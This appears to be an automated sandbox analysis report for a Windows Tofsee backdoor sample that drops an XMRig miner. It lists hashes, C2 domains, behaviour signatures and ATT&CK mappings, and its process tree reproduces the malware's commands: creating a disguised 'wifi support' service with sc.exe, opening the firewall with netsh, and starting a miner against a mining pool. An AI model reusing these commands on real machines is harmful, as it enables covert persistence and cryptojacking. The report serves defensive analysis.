Analysis

  • max time kernel
    151s
  • max time network
    160s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    01-12-2022 16:29

General

  • Target

    file.exe

  • Size

    192KB

  • MD5

    3894a58334e66e157e9d18c39bd68f9e

  • SHA1

    ebdc8d605f155c8ceb7cc1f28e8463188ef8eae7

  • SHA256

    7f2449827262abc18421245fb8d65b7eee8dd441baf44742266d9d7633cc079e

  • SHA512

    0375a5330b9808b09cc68e70d3479a241f50e4f56a60c83730dff5fe4b0ee5880d80a3e8b44bd93faccf9fede5d5b961d5972c2e8f502374fed068507f9f0821

  • SSDEEP

    3072:kJ603TxxN3EsBz5/gbVvHI18aC9gH+5paXHDAbEauWa:klV3EsBhgBv9yezvEao

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\prfgcaho\
      2⤵
        PID:972
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\atqypicz.exe" C:\Windows\SysWOW64\prfgcaho\
        2⤵
          PID:1516
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create prfgcaho binPath= "C:\Windows\SysWOW64\prfgcaho\atqypicz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description prfgcaho "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start prfgcaho
          2⤵
          • Launches sc.exe
          PID:1096
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1768
      • C:\Windows\SysWOW64\prfgcaho\atqypicz.exe
        C:\Windows\SysWOW64\prfgcaho\atqypicz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1564
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1080
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1584

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\atqypicz.exe
        Filesize

        13.2MB

        MD5

        02babaa6f81ac2f31341fd36a95db39b

        SHA1

        c1889ffd2eb8179ef87310db136e8a7730944727

        SHA256

        8f3122c6d2a6ef26aa995ae872c60be6f83b288852e12eae96d991407b539fd1

        SHA512

        16adf6e1956edda5ce2105eb87c2a92c45e428d34a17a12f91a4749308063cd2f45414e2eaf375f3b6a58b5e3ebb942677952ad1d71faa3c131fa5b91c8355dd

      • C:\Windows\SysWOW64\prfgcaho\atqypicz.exe
        Filesize

        13.2MB

        MD5

        02babaa6f81ac2f31341fd36a95db39b

        SHA1

        c1889ffd2eb8179ef87310db136e8a7730944727

        SHA256

        8f3122c6d2a6ef26aa995ae872c60be6f83b288852e12eae96d991407b539fd1

        SHA512

        16adf6e1956edda5ce2105eb87c2a92c45e428d34a17a12f91a4749308063cd2f45414e2eaf375f3b6a58b5e3ebb942677952ad1d71faa3c131fa5b91c8355dd

      • memory/844-61-0x0000000000000000-mapping.dmp
      • memory/972-58-0x0000000000000000-mapping.dmp
      • memory/1080-87-0x0000000000240000-0x0000000000250000-memory.dmp
        Filesize

        64KB

      • memory/1080-84-0x00000000001E0000-0x00000000001E6000-memory.dmp
        Filesize

        24KB

      • memory/1080-97-0x00000000002F0000-0x00000000002F7000-memory.dmp
        Filesize

        28KB

      • memory/1080-94-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1080-93-0x00000000055B0000-0x00000000059BB000-memory.dmp
        Filesize

        4.0MB

      • memory/1080-90-0x0000000000290000-0x0000000000295000-memory.dmp
        Filesize

        20KB

      • memory/1080-81-0x0000000001950000-0x0000000001B5F000-memory.dmp
        Filesize

        2.1MB

      • memory/1080-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1080-78-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1080-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1080-73-0x0000000000089A6B-mapping.dmp
      • memory/1080-70-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1096-63-0x0000000000000000-mapping.dmp
      • memory/1224-62-0x0000000000000000-mapping.dmp
      • memory/1516-59-0x0000000000000000-mapping.dmp
      • memory/1564-74-0x000000000059B000-0x00000000005AC000-memory.dmp
        Filesize

        68KB

      • memory/1564-75-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/1584-107-0x000000000016259C-mapping.dmp
      • memory/1584-100-0x00000000000D0000-0x00000000001C1000-memory.dmp
        Filesize

        964KB

      • memory/1584-102-0x00000000000D0000-0x00000000001C1000-memory.dmp
        Filesize

        964KB

      • memory/1768-64-0x0000000000000000-mapping.dmp
      • memory/1992-54-0x00000000005FB000-0x000000000060C000-memory.dmp
        Filesize

        68KB

      • memory/1992-55-0x0000000000230000-0x0000000000243000-memory.dmp
        Filesize

        76KB

      • memory/1992-56-0x0000000076141000-0x0000000076143000-memory.dmp
        Filesize

        8KB

      • memory/1992-57-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/1992-65-0x00000000005FB000-0x000000000060C000-memory.dmp
        Filesize

        68KB

      • memory/1992-66-0x0000000000230000-0x0000000000243000-memory.dmp
        Filesize

        76KB

      • memory/1992-67-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB